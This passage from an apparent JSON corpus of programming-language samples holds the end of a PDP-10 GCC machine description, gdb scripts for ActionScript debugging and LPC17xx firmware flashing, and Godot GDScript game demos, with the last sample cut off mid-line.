0)\n\t\t (const_int 1)))\n   (set (pc)\n\t(label_ref (match_operand 1 \"\" \"\")))]\n  \"\"\n  \"aoja %0,%l1\")\n\n;; SUBI a,1\n;; JRST m\t\t\t->\tSOJA a,m\n;; The traditional peephole is needed to detect sequences after basic\n;; block reordering.  peephole2 is run before that.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int -1)))\n   (set (pc)\n\t(label_ref (match_operand 1 \"\" \"\")))]\n  \"\"\n  [(parallel\n    [(set (pc)\n\t  (label_ref (match_dup 1)))\n     (set (match_dup 0)\n\t  (plus:SI (match_dup 0)\n\t\t   (const_int -1)))])])\n(define_peephole\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int -1)))\n   (set (pc)\n\t(label_ref (match_operand 1 \"\" \"\")))]\n  \"\"\n  \"soja %0,%l1\")\n\n;; AOS m1\n;; JRST m2\t\t\t->\tAOSA m1,m2 (if possible)\n;; TODO.\n\n;; SOS m1\n;; JRST m2\t\t\t->\tSOSA m1,m2 (if possible)\n;; TODO.\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Miscellaneous\n\n;; UNSPEC_VOLATILE is considered to use and clobber all hard registers\n;; and all of memory.  This blocks insns from being moved across this\n;; point.\n(define_insn \"blockage\"\n  [(unspec_volatile [(const_int 0)] VUNSPEC_BLOCKAGE)]\n  \"\"\n  \"\"\n  [(set_attr \"length\" \"0\")])\n\n(define_insn \"*movqi_subreg\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n\t(subreg:QI (match_operand:SI 1 \"register_operand\" \"r\") 3))]\n  \"\"\n  \"move %0,%1%; (set (reg:QI %0) (subreg:QI (reg:SI %1) 3)\")\n\n(define_insn \"\"\n  [(set (subreg:QI (match_operand:SI 0 \"register_operand\" \"=r\") 3)\n\t(match_operand:QI 1 \"register_operand\" \"r\"))]\n  \"\"\n  \"move %0,%1%; (set (subreg:QI (reg:SI %0) 3) (reg:QI %1)\")\n\n(define_insn \"\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n\t(subreg:QI (match_operand:SI 1 \"register_operand\" \"0\") 0))]\n  \"\"\n  \"lsh %0,-33%; (set (reg:QI %0) (subreg:QI (reg:SI %1) 0))\")\n\n(define_insn \"\"\n  [(set (match_operand:HI 0 \"register_operand\" \"=r\")\n\t(subreg:HI (match_operand:SI 1 \"register_operand\" \"r\") 0))]\n  \"\"\n  \"hlrz %0,%1%; (set (reg:HI %0) (subreg:HI (reg:SI %1) 0))\")\n\n(define_insn \"\"\n  [(set (match_operand:HI 0 \"register_operand\" \"=r\")\n\t(subreg:HI (match_operand:SI 1 \"register_operand\" \"r\") 2))]\n  \"\"\n  \"hrrz %0,%1%; (set (reg:HI %0) (subreg:HI (reg:SI %1) 2))\")\n\n(define_insn \"\"\n  [(set (match_operand:HI 0 \"register_operand\" \"=r\")\n\t(subreg:HI (zero_extract:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t\t\t    (const_int 18)\n\t\t\t\t    (const_int 18))\n\t\t   0))]\n  \"\"\n  \"hrrz %0,%1%; (set (reg:HI %0) (subreg:HI (zero_extr:SI %1 18 18) 0))\")\n\n(define_insn \"\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n\t(subreg:QI (zero_extract:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t\t\t    (const_int 9)\n\t\t\t\t    (const_int 27))\n\t\t   0))]\n  \"\"\n  ;; FIXME: will this do?\n  \"move %0,%1\"\n  [(set_attr \"length\" \"3\")])\n\n;; Only used in KA10 expansion of FIX.\n(define_insn \"TSC\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (xor:SI\n\t (match_dup 0)\n\t (ior:SI\n\t  (ashift:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")\n\t\t     (const_int 18))\n\t  (lshiftrt:SI (match_dup 1) (const_int 18)))))]\n  \"\"\n  \"tsc %0,%1\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ashiftrt:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t     (const_int 27)))]\n  \"\"\n  \"move %0,%1\\;ash %0,-33\"\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n        (subreg:QI (zero_extract:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t\t\t    (const_int 9)\n\t\t\t\t    (const_int 0))\n\t\t   3))]\n  \"\"\n  {\n    rtx ops[4];\n    ops[0] = operands[0];\n    ops[1] = operands[1];\n    ops[2] = GEN_INT (9);\n    ops[3] = GEN_INT (0);\n    if (get_attr_length (insn) == 1)\n      output_asm_insn (pdp10_output_extzv (insn, ops), ops);\n    else\n      output_asm_insn (pdp10_output_extzv_sequence (ops), ops);\n    return \"\";\n  }\n  [(set (attr \"length\")\n\t(if_then_else (ne (symbol_ref \"TARGET_LARGE\") (const_int 0))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))])\n\n(define_insn \"\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n\t(subreg:QI (zero_extract:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t\t\t    (const_int 9)\n\t\t\t\t    (const_int 9))\n\t\t   3))]\n  \"\"\n  {\n    rtx ops[4];\n    ops[0] = operands[0];\n    ops[1] = operands[1];\n    ops[2] = GEN_INT (9);\n    ops[3] = GEN_INT (9);\n    output_asm_insn (pdp10_output_extzv (insn, ops), ops);\n    return \"\";\n  })\n"
  },
  {
    "path": "samples/GDB/as3.gdbinit",
    "content": "# -*- gdb-script -*-\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n# Interactive commands to help inspecting ActionScript execution state while debugging in gdb.\n#\n# To use this file, type from the gdb prompt: \n# source $(hg root)/utils/as3.gdbinit\n# or include in your .gdbinit.\n#\n# See gdb help for individual commands.\n#\n# In case of undefined symbols, try running the gdb 'where' command before aswhere.\n#\n# Typical use case:\n# (gdb) run\n# ^C\n# (gdb) where\n# (gdb) aswhere\n# (gdb) asframe 4    # select 4th AS3 frame from the top\n# (gdb) aslocal      # print locals\n# (gdb) aslocal 2    # print 2nd local as a C++ value\n# $42 = ....\n# (gdb) print *$42   # dereference  $42, assuming it's a pointer (to a ScriptObject or String)\n#\n# Note that the gdb scripting language is rather limited.\n#\n\ndefine aswhere\n  set var $fcount = avmplus::AvmCore::getActiveCore()->debugger()->frameCount()\n  set var $i = 0\n  while ($i < $fcount) \n    #  set var $frame = avmplus::AvmCore::getActiveCore()->debugger()->frameAt($k)\n    #  call (void)avmplus::Debugger::printFrame($k)\n    asprintframe $i\n    set var $i = $i + 1\n  end\nend\n\ndocument aswhere\nPrint backtrace of all the ActionScript stack frames.\nMay not work in all contexts (notably inside MMgc).\nMay not work properly until gdb 'where' is called at least once.\nend\n\nset var $_asframe_selected=-1\n\ndefine asprintframe \n  set var $frame = avmplus::AvmCore::getActiveCore()->debugger()->frameAt($arg0)\n  if ($frame == 0)\n    echo no frame\\n\n  else\n    aspstring avmplus::Debugger::methodNameAt($frame)\n    echo (\n    set var $vcount = avmplus::Debugger::autoVarCount($frame, avmplus::Debugger::AUTO_ARGUMENT)\n    set var $j = 0\n    while ($j < $vcount) \n      set var $argname = avmplus::Debugger::autoVarName($frame, $j, avmplus::Debugger::AUTO_ARGUMENT)\n      aspstring $argname \n      echo =\n      set var $_atom = avmplus::Debugger::autoAtomAt($frame, $j, avmplus::Debugger::AUTO_ARGUMENT)\n      call (void)avmplus::Debugger::printAtom($_atom)\n      set var $j = $j + 1\n      if ($j != $vcount) \n        echo ,\n      end\n    end\n    echo )\n    echo \\n\n  end\nend\n\n\ndefine asframe \n  if ($argc != 0)\n    set var $_asframe_selected=$arg0\n  end\n  if ($_asframe_selected >= 0)\n    asprintframe $_asframe_selected\n  else\n    echo no frame\\n\n  end\nend\n\ndocument asframe\nSelect and print an ActionScript stack frame.\nWith no argument, print the selected AS stack frame.\nAn argument specifies the number of the stack frame to select.\nend\n\n\ndefine aspstring\n  call (void)avmplus::Debugger::printString($arg0)\nend\n\ndocument aspstring\nPrint the AS3 string.\nend\n\n# not pretty, but there's no switch\ndefine aslocal\n  set var $frame = avmplus::AvmCore::getActiveCore()->debugger()->frameAt($_asframe_selected)\n  if ($frame == 0)\n    echo no frame\\n\n  else\n    if $argc == 0\n      set var $lcount = avmplus::Debugger::autoVarCount($frame, avmplus::Debugger::AUTO_LOCAL)\n      set var $k = 0\n      while ($k < $lcount) \n        set var $lname = avmplus::Debugger::autoVarName($frame, $k, avmplus::Debugger::AUTO_LOCAL)\n        output $k\n        echo :\\ \\  \n        aspstring $lname\n        echo :\\ \\ \n        aslocal $k\n        set var $k = $k + 1\n      end\n    else\n      set var $_last_type=avmplus::Debugger::autoAtomKindAt($frame, $arg0, avmplus::Debugger::AUTO_LOCAL) \n      if ($_last_type == 0)\n        echo unknown\\n\n      end\n      if ($_last_type == 1)\n        call avmplus::Debugger::autoVarAsObject($frame, $arg0, avmplus::Debugger::AUTO_LOCAL) \n      end\n      if ($_last_type == 2)\n        call avmplus::Debugger::autoVarAsString($frame, $arg0, avmplus::Debugger::AUTO_LOCAL) \n      end\n      if ($_last_type == 3)\n        ecno namespace (unfinished)\\n\n      end\n      if ($_last_type == 4)\n        echo undefined\\n\n      end\n      if ($_last_type == 5)\n        call avmplus::Debugger::autoVarAsBoolean($frame, $arg0, avmplus::Debugger::AUTO_LOCAL) \n      end\n      if ($_last_type == 6)\n        call avmplus::Debugger::autoVarAsInteger($frame, $arg0, avmplus::Debugger::AUTO_LOCAL) \n      end\n      if ($_last_type == 7)\n        call avmplus::Debugger::autoVarAsDouble($frame, $arg0, avmplus::Debugger::AUTO_LOCAL) \n      end\n    end\n  end\nend\n\ndocument aslocal \nPrint local variables of the currently selected AS stack frame, if debuging information present.\nInformation may be incorrect if not at a debugger safepoint.\nWith no argument, print all the local variables.\nWith a numeric argument print the specific local variable (gdb will store value in history \nfor further manipulation).\nend\n\ndefine asarg\n  set var $frame = avmplus::AvmCore::getActiveCore()->debugger()->frameAt($_asframe_selected)\n  if ($frame == 0)\n    echo no frame\\n\n  else\n    if $argc == 0\n      set var $acount = avmplus::Debugger::autoVarCount($frame, avmplus::Debugger::AUTO_ARGUMENT)\n      set var $k = 0\n      while ($k < $acount) \n        set var $name = avmplus::Debugger::autoVarName($frame, $k, avmplus::Debugger::AUTO_ARGUMENT)\n        output $k\n        echo :\\ \\  \n        aspstring $name\n        echo :\\ \\ \n        asarg $k\n        set var $k = $k + 1\n      end\n    else\n      set var $_last_type=avmplus::Debugger::autoAtomKindAt($frame, $arg0, avmplus::Debugger::AUTO_ARGUMENT) \n      if ($_last_type == 0)\n        echo unknown\\n\n      end\n      if ($_last_type == 1)\n        print avmplus::Debugger::autoVarAsObject($frame, $arg0, avmplus::Debugger::AUTO_ARGUMENT) \n      end\n      if ($_last_type == 2)\n        print avmplus::Debugger::autoVarAsString($frame, $arg0, avmplus::Debugger::AUTO_ARGUMENT) \n      end\n      if ($_last_type == 3)\n        echo namespace (unfinished)\\n\n      end\n      if ($_last_type == 4)\n        echo undefined\\n\n      end\n      if ($_last_type == 5)\n        print avmplus::Debugger::autoVarAsBoolean($frame, $arg0, avmplus::Debugger::AUTO_ARGUMENT) \n      end\n      if ($_last_type == 6)\n        print avmplus::Debugger::autoVarAsInteger($frame, $arg0, avmplus::Debugger::AUTO_ARGUMENT) \n      end\n      if ($_last_type == 7)\n        print avmplus::Debugger::autoVarAsDouble($frame, $arg0, avmplus::Debugger::AUTO_ARGUMENT) \n      end\n    end\n  end\nend\n\ndocument asarg \nPrint arguments of the currently selected AS stack frame.\nIf no debugging information is available, argument names will not be printed.\nWith no argument, print all the arguments.\nWith a numeric argument print the specific argument (gdb will store value in history \nfor further manipulation).\nend\n\n\ndefine asthis\n  set var $frame = avmplus::AvmCore::getActiveCore()->debugger()->frameAt($_asframe_selected)\n  if ($frame == 0)\n    echo no frame\\n\n  else\n    print avmplus::Debugger::autoVarAsObject($frame, 0, avmplus::Debugger::AUTO_THIS) \n  end\nend\n\ndocument asthis\nPrint the receiver of the currently selected frame.\nend\n\ndefine asmixon\n  print avmshell::DebugCLI::debuggerInterruptOnEnter\n  print avmshell::DebugCLI::debuggerInterruptOnEnter = true\nend\n\ndocument asmixon\n  turn on stepping.\n  Execution will return to gdb propmpt after asstep* instructions.\n  Requires debugging symbols in .abcs\nend\n\ndefine asstepout\n  call  avmplus::AvmCore::getActiveCore()->debugger()->stepOut()\n  continue\n  asprintframe 0\nend\n\ndefine asstepinto\n  output avmplus::AvmCore::getActiveCore()->debugger()->stepInto()\n  continue\n  asprintframe 0\nend\n\ndefine asstepover\n  output avmplus::AvmCore::getActiveCore()->debugger()->stepOver()\n  continue\n  asprintframe 0\nend\n\n\ndefine asprint\n  aspstring $arg0->traits()->name()\n  echo \\n\nend\n"
  },
  {
    "path": "samples/GDB/gdb_lpc17xx_program.gdb",
    "content": "#\r\n# MicropendousX LPC17xx Development Board\r\n#\r\n# http://www.MicropendousX.org\r\n#\r\n# Connect to a debugger controlling a LPC17xx\r\n# and download firmware.\r\n#\r\n# Start your OpenOCD gdb server before running\r\n# this script with:  arm-none-eabi-gdb -x gdb_lpc17xx_program.gdb\r\n#\r\n# Note the 'monitor' command just passes its\r\n# arguments to OpenOCD\r\n#\r\n# This file is released under the MIT License\r\n#\r\n\r\n# Connect to OpenOCD gdb server\r\ntarget remote localhost:3333\r\n\r\n# reset the LPC17xx IC with the OpenOCD reset command\r\nmonitor reset\r\n\r\n# the following are OpenOCD commands as in OpenOCD_program.script\r\n# which will download a hex file into your LPC17xx\r\nmonitor halt\r\nmonitor sleep 200\r\nmonitor wait_halt\r\nmonitor flash probe 0\r\nmonitor flash info 0\r\nmonitor flash write_image erase unlock USBtoSerial.hex\r\nmonitor sleep 200\r\nmonitor reset run\r\nmonitor exit\r\n\r\nquit\r\n"
  },
  {
    "path": "samples/GDScript/example.gd",
    "content": "# Taken from https://github.com/okamstudio/godot/wiki/gdscript\n# a file is a class!\n\n# inheritance\n\nextends BaseClass\n\n# member variables\n\nvar a = 5 \nvar s = \"Hello\"\nvar arr = [1, 2, 3]\nvar dict = {\"key\":\"value\", 2:3}\n\n# constants\n\nconst answer = 42\nconst thename = \"Charly\"\n\n# built-in vector types\n\nvar v2 = Vector2(1, 2)\nvar v3 = Vector3(1, 2, 3)\n\n# function\n\nfunc some_function(param1, param2):\n    var local_var = 5\n\n    if param1 < local_var:\n        print(param1)\n    elif param2 > 5:\n        print(param2)\n    else:\n        print(\"fail!\")\n\n    for i in range(20):\n        print(i)\n\n    while(param2 != 0):\n        param2 -= 1\n\n    var local_var2 = param1+3\n    return local_var2\n\n\n# subclass\n\nclass Something:\n    var a = 10\n\n# constructor\n\nfunc _init():\n    print(\"constructed!\")\n    var lv = Something.new()\n    print(lv.a)\n"
  },
  {
    "path": "samples/GDScript/grid.gd",
    "content": "\n\nextends Control\n\n# Simple Tetris-like demo, (c) 2012 Juan Linietsky\n# Implemented by using a regular Control and drawing on it during the _draw() callback.\n# The drawing surface is updated only when changes happen (by calling update())\n\n\nvar score = 0\nvar score_label=null\n\nconst MAX_SHAPES = 7\n\nvar block = preload(\"block.png\")\n\nvar block_colors=[\n\tColor(1,0.5,0.5),\n\tColor(0.5,1,0.5),\n\tColor(0.5,0.5,1),\n\tColor(0.8,0.4,0.8),\n\tColor(0.8,0.8,0.4),\n\tColor(0.4,0.8,0.8),\n\tColor(0.7,0.7,0.7)]\n\nvar\tblock_shapes=[\n\t[ Vector2(0,-1),Vector2(0,0),Vector2(0,1),Vector2(0,2) ], # I\n\t[ Vector2(0,0),Vector2(1,0),Vector2(1,1),Vector2(0,1) ], # O\n\t[ Vector2(-1,1),Vector2(0,1),Vector2(0,0),Vector2(1,0) ], # S\n\t[ Vector2(1,1),Vector2(0,1),Vector2(0,0),Vector2(-1,0) ], # Z\n\t[ Vector2(-1,1),Vector2(-1,0),Vector2(0,0),Vector2(1,0) ], # L\n\t[ Vector2(1,1),Vector2(1,0),Vector2(0,0),Vector2(-1,0) ], # J\n\t[ Vector2(0,1),Vector2(1,0),Vector2(0,0),Vector2(-1,0) ]] # T\n\t\n\nvar block_rotations=[\n\tMatrix32( Vector2(1,0),Vector2(0,1), Vector2() ),\n\tMatrix32( Vector2(0,1),Vector2(-1,0), Vector2() ),\n\tMatrix32( Vector2(-1,0),Vector2(0,-1), Vector2() ),\n\tMatrix32( Vector2(0,-1),Vector2(1,0), Vector2() )\n]\n\t\n\nvar width=0\nvar height=0\n\nvar cells={}\n\nvar piece_active=false\nvar piece_shape=0\nvar piece_pos=Vector2()\nvar piece_rot=0\n\n\nfunc piece_cell_xform(p,er=0):\n\tvar r = (4+er+piece_rot)%4\n\treturn piece_pos+block_rotations[r].xform(p)\n\nfunc _draw():\n\n\tvar sb = get_stylebox(\"bg\",\"Tree\") # use line edit bg\n\tdraw_style_box(sb,Rect2(Vector2(),get_size()).grow(3))\n\t\n\tvar bs = block.get_size()\n\tfor y in range(height):\n\t\tfor x in range(width):\n\t\t\tif (Vector2(x,y) in cells):\n\t\t\t\tdraw_texture_rect(block,Rect2(Vector2(x,y)*bs,bs),false,block_colors[cells[Vector2(x,y)]])\n\t\t\t\t\n\tif (piece_active):\n\t\t\n\t\tfor c in block_shapes[piece_shape]:\n\t\t\tdraw_texture_rect(block,Rect2(piece_cell_xform(c)*bs,bs),false,block_colors[piece_shape])\n\t\t\t\n\nfunc piece_check_fit(ofs,er=0):\n\n\tfor c in block_shapes[piece_shape]:\n\t\tvar pos = piece_cell_xform(c,er)+ofs\n\t\tif (pos.x < 0):\n\t\t\treturn false\n\t\tif (pos.y < 0):\n\t\t\treturn false\n\t\tif (pos.x >= width):\n\t\t\treturn false\n\t\tif (pos.y >= height):\n\t\t\treturn false\n\t\tif (pos in cells):\n\t\t\treturn false\n\t\n\treturn true\t\n\nfunc new_piece():\n\n\tpiece_shape = randi() % MAX_SHAPES\t\n\tpiece_pos = Vector2(width/2,0)\n\tpiece_active=true\n\tpiece_rot=0\n\tif (piece_shape==0):\n\t\tpiece_pos.y+=1\n\t\t\n\tif (not piece_check_fit(Vector2())):\n\t\t#game over\n\t\t#print(\"GAME OVER!\")\n\t\tgame_over()\n\t\t\n\tupdate()\n\t\t\n\t\nfunc test_collapse_rows():\n\tvar accum_down=0\n\tfor i in range(height):\n\t\tvar y = height - i - 1\n\t\tvar collapse = true\n\t\tfor x in range(width):\n\t\t\tif (Vector2(x,y) in cells):\n\t\t\t\tif (accum_down):\n\t\t\t\t\tcells[ Vector2(x,y+accum_down) ] = cells[Vector2(x,y)]\n\t\t\telse:\n\t\t\t\tcollapse=false\n\t\t\t\tif (accum_down):\n\t\t\t\t\tcells.erase( Vector2(x,y+accum_down) )\n\t\t\t\t\t\t\n\t\tif (collapse):\n\t\t\taccum_down+=1\n\t\t\n\t\t\t\n\tscore+=accum_down*100\n\tscore_label.set_text(str(score))\n\t\t\t\n\t\t\nfunc game_over():\n\n\t\tpiece_active=false\n\t\tget_node(\"gameover\").set_text(\"Game Over\")\t\t\n\t\tupdate()\n\t\t\t\t\n\t\t\nfunc restart_pressed():\n\n\t\tscore=0\n\t\tscore_label.set_text(\"0\")\n\t\tcells.clear()\n\t\tget_node(\"gameover\").set_text(\"\")\t\t\n\t\tpiece_active=true\n\t\tupdate()\n\t\t\n\t\t\n\nfunc piece_move_down():\n\n\tif (!piece_active):\n\t\treturn\n\tif (piece_check_fit(Vector2(0,1))):\n\t\tpiece_pos.y+=1\n\t\tupdate()\t\t\n\telse:\n\n\t\tfor c in block_shapes[piece_shape]:\n\t\t\tvar pos = piece_cell_xform(c)\n\t\t\tcells[pos]=piece_shape\n\t\ttest_collapse_rows()\n\t\tnew_piece()\n\t\t\n\nfunc piece_rotate():\n\n\tvar adv = 1\n\tif (not piece_check_fit(Vector2(),1)):\n\t\treturn\n\tpiece_rot = (piece_rot + adv) % 4\n\tupdate()\n\t\n\t\n\nfunc _input(ie):\n\n\n\tif (not piece_active):\n\t\treturn\n\tif (!ie.is_pressed()):\n\t\treturn\n\n\tif (ie.is_action(\"move_left\")):\n\t\tif (piece_check_fit(Vector2(-1,0))):\n\t\t\tpiece_pos.x-=1\n\t\t\tupdate()\n\telif (ie.is_action(\"move_right\")):\n\t\tif (piece_check_fit(Vector2(1,0))):\n\t\t\tpiece_pos.x+=1\n\t\t\tupdate()\n\telif (ie.is_action(\"move_down\")):\n\t\tpiece_move_down()\n\telif (ie.is_action(\"rotate\")):\n\t\tpiece_rotate()\n\t\t\n\t\t\nfunc setup(w,h):\n\twidth=w\n\theight=h\n\tset_size( Vector2(w,h)*block.get_size() )\n\tnew_piece()\n\tget_node(\"timer\").start()\n\t\n\nfunc _ready():\n\t# Initalization here\n\n\tsetup(10,20)\n\tscore_label = get_node(\"../score\")\n\n\tset_process_input(true)\n\n\n\n\n"
  },
  {
    "path": "samples/GDScript/player.gd",
    "content": "\nextends RigidBody\n\n# member variables here, example:\n# var a=2\n# var b=\"textvar\"\n\n#var dir=Vector3()\n\nconst ANIM_FLOOR = 0\nconst ANIM_AIR_UP = 1\nconst ANIM_AIR_DOWN = 2\n\nconst SHOOT_TIME = 1.5\nconst SHOOT_SCALE = 2\n\nconst CHAR_SCALE = Vector3(0.3,0.3,0.3)\n\nvar facing_dir = Vector3(1, 0, 0)\nvar movement_dir = Vector3()\n\nvar jumping=false\n\nvar turn_speed=40\nvar keep_jump_inertia = true\nvar air_idle_deaccel = false\nvar accel=19.0\nvar deaccel=14.0\nvar sharp_turn_threshhold = 140\n\nvar max_speed=3.1\nvar on_floor = false\n\nvar prev_shoot = false\n\nvar last_floor_velocity = Vector3()\n\nvar shoot_blend = 0\n\nfunc adjust_facing(p_facing, p_target,p_step, p_adjust_rate,current_gn):\n\n\tvar n = p_target # normal\n\tvar t = n.cross(current_gn).normalized()\n\t\n\tvar x = n.dot(p_facing)\n\tvar y = t.dot(p_facing)\n\t\n\tvar ang = atan2(y,x)\n\t\n\tif (abs(ang)<0.001): # too small\n\t\treturn p_facing\n\t\n\tvar s = sign(ang)\n\tang = ang * s\n\tvar turn = ang * p_adjust_rate * p_step\n\tvar a\n\tif (ang<turn):\n\t\ta=ang\n\telse:\n\t\ta=turn\n\tang = (ang - a) * s\n\t\n\treturn ((n * cos(ang)) + (t * sin(ang))) * p_facing.length()\n\n\n\nfunc _integrate_forces( state ):\n\n\tvar lv = state.get_linear_velocity() # linear velocity\n\tvar g = state.get_total_gravity()\n\tvar delta = state.get_step()\n\tvar d = 1.0 - delta*state.get_total_density()\n\tif (d<0):\n\t\td=0\n\tlv += g * delta #apply gravity\n\n\tvar anim = ANIM_FLOOR\n\n\tvar up = -g.normalized() # (up is against gravity)\n\tvar vv = up.dot(lv) # vertical velocity\n\tvar hv = lv - (up*vv) # horizontal velocity\n\n\n\n\tvar hdir = hv.normalized() # horizontal direction\n\tvar hspeed = hv.length()\t#horizontal speed\n\n\tvar floor_velocity\n\tvar onfloor = false\n\n\tif (state.get_contact_count() == 0):\n\t\tfloor_velocity = last_floor_velocity\n\telse:\n\t\tfor i in range(state.get_contact_count()):\n\t\t\tif (state.get_contact_local_shape(i) != 1):\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tonfloor = true\n\t\t\tfloor_velocity = state.get_contact_collider_velocity_at_pos(i)\n\t\t\tbreak\n\t\t\n\n\tvar dir = Vector3() #where does the player intend to walk to\n\tvar cam_xform = get_node(\"target/camera\").get_global_transform()\n\t\n\tif (Input.is_action_pressed(\"move_forward\")):\n\t\tdir+=-cam_xform.basis[2] \n\tif (Input.is_action_pressed(\"move_backwards\")):\n\t\tdir+=cam_xform.basis[2] \n\tif (Input.is_action_pressed(\"move_left\")):\n\t\tdir+=-cam_xform.basis[0] \n\tif (Input.is_action_pressed(\"move_right\")):\n\t\tdir+=cam_xform.basis[0] \n\t\t\n\tvar jump_attempt = Input.is_action_pressed(\"jump\")\n\tvar shoot_attempt = Input.is_action_pressed(\"shoot\")\n\t\t\n\tvar target_dir = (dir - up*dir.dot(up)).normalized()\n\t\n\tif (onfloor):\n\n\t\tvar sharp_turn = hspeed > 0.1 and rad2deg(acos(target_dir.dot(hdir))) > sharp_turn_threshhold\n\n\t\tif (dir.length()>0.1 and !sharp_turn) :\n\t\t\tif (hspeed > 0.001) :\n\n\t\t\t\t#linear_dir = linear_h_velocity/linear_vel\n\t\t\t\t#if (linear_vel > brake_velocity_limit and linear_dir.dot(ctarget_dir)<-cos(Math::deg2rad(brake_angular_limit)))\n\t\t\t\t#\tbrake=true\n\t\t\t\t#else\n\t\t\t\thdir = adjust_facing(hdir,target_dir,delta,1.0/hspeed*turn_speed,up)\n\t\t\t\tfacing_dir = hdir\n\t\t\telse:\n\n\t\t\t\thdir = target_dir\n\t\t\t\n\t\t\tif (hspeed<max_speed):\n\t\t\t\thspeed+=accel*delta\n\n\t\telse:\n\t\t\thspeed-=deaccel*delta\n\t\t\tif (hspeed<0):\n\t\t\t\thspeed=0\n\t\t\n\t\thv = hdir*hspeed\n\t\t\n\t\tvar mesh_xform = get_node(\"Armature\").get_transform() \n\t\tvar facing_mesh=-mesh_xform.basis[0].normalized()\n\t\tfacing_mesh = (facing_mesh - up*facing_mesh.dot(up)).normalized()\n\t\tfacing_mesh = adjust_facing(facing_mesh,target_dir,delta,1.0/hspeed*turn_speed,up)\n\t\tvar m3 = Matrix3(-facing_mesh,up,-facing_mesh.cross(up).normalized()).scaled( CHAR_SCALE )\n\t\t\n\t\tget_node(\"Armature\").set_transform(Transform(m3,mesh_xform.origin))\n\t\t\t\t\n\t\tif (not jumping and jump_attempt):\n\t\t\tvv = 7.0\n\t\t\tjumping = true\t\t\n\t\t\tget_node(\"sfx\").play(\"jump\")\n\telse:\n\n\t\tif (vv>0):\n\t\t\tanim=ANIM_AIR_UP\n\t\telse:\n\t\t\tanim=ANIM_AIR_DOWN\n\t\t\t\n\t\tvar hs\n\t\tif (dir.length()>0.1):\n\n\t\t\thv += target_dir * (accel * 0.2) * delta\n\t\t\tif (hv.length() > max_speed):\n\t\t\t\thv = hv.normalized() * max_speed\n\n\t\telse:\n\n\t\t\tif (air_idle_deaccel):\n\t\t\t\thspeed = hspeed - (deaccel * 0.2) * delta\n\t\t\t\tif (hspeed<0):\n\t\t\t\t\thspeed=0\n\n\t\t\t\thv = hdir*hspeed\n\t\t\t\n\t\t\n\tif (jumping and vv < 0):\n\t\tjumping=false\n\n\tlv = hv+up*vv\n\t\n\t\n\n\tif (onfloor):\n\n\t\tmovement_dir = lv\n\t\t#lv += floor_velocity\n\t\tlast_floor_velocity = floor_velocity\n\telse:\n\n\t\tif (on_floor) :\n\n\t\t\t#if (keep_jump_inertia):\n\t\t\t#\tlv += last_floor_velocity\n\t\t\tpass\n\t\t\n\t\tlast_floor_velocity = Vector3()\n\t\tmovement_dir = lv\n\t\n\ton_floor = onfloor\n\n\tstate.set_linear_velocity(lv)\n\t\n\tif (shoot_blend>0):\n\t\tshoot_blend -= delta * SHOOT_SCALE\n\t\tif (shoot_blend<0):\n\t\t\tshoot_blend=0\n\t\n\tif (shoot_attempt and not prev_shoot):\n\t\tshoot_blend = SHOOT_TIME\t\t\n\t\tvar bullet = preload(\"res://bullet.scn\").instance()\n\t\tbullet.set_transform( get_node(\"Armature/bullet\").get_global_transform().orthonormalized() )\n\t\tget_parent().add_child( bullet )\n\t\tbullet.set_linear_velocity( get_node(\"Armature/bullet\").get_global_transform().basis[2].normalized() * 20 )\n\t\tPS.body_add_collision_exception( bullet.get_rid(), get_rid() ) #add it to bullet\n\t\tget_node(\"sfx\").play(\"shoot\")\n\t\t\n\tprev_shoot = shoot_attempt\n\t\n\tif (onfloor):\n\t\tget_node(\"AnimationTreePlayer\").blend2_node_set_amount(\"walk\",hspeed / max_speed)\n\t\t\n\tget_node(\"AnimationTreePlayer\").transition_node_set_current(\"state\",anim)\n\tget_node(\"AnimationTreePlayer\").blend2_node_set_amount(\"gun\",min(shoot_blend,1.0))\n#\tstate.set_angular_velocity(Vector3())\t\n\t\n\t\n\n\nfunc _ready():\n\n\n\t# Initalization here\n\tget_node(\"AnimationTreePlayer\").set_active(true)\n\tpass\n\n\n"
  },
  {
    "path": "samples/GDScript/pong.gd",
    "content": "\nextends Node2D\n\n# member variables here, example:\n# var a=2\n# var b=\"textvar\"\nconst INITIAL_BALL_SPEED = 80\nvar ball_speed = INITIAL_BALL_SPEED\nvar screen_size = Vector2(640,400)\n#default ball direction\nvar direction = Vector2(-1,0)\nvar pad_size = Vector2(8,32)\nconst PAD_SPEED = 150\n\n\nfunc _process(delta):\n\n\n\t# get ball positio and pad rectangles\n\tvar ball_pos = get_node(\"ball\").get_pos()\n\tvar left_rect = Rect2( get_node(\"left\").get_pos() - pad_size*0.5, pad_size )\n\tvar right_rect = Rect2( get_node(\"right\").get_pos() - pad_size*0.5, pad_size )\n\t\n\t#integrate new ball postion\n\tball_pos+=direction*ball_speed*delta\n\t\n\t#flip when touching roof or floor\n\tif ( (ball_pos.y<0 and direction.y <0) or (ball_pos.y>screen_size.y and direction.y>0)):\n\t\tdirection.y = -direction.y\n\t\t\n\t#flip, change direction and increase speed when touching pads\t\n\tif ( (left_rect.has_point(ball_pos) and direction.x < 0) or 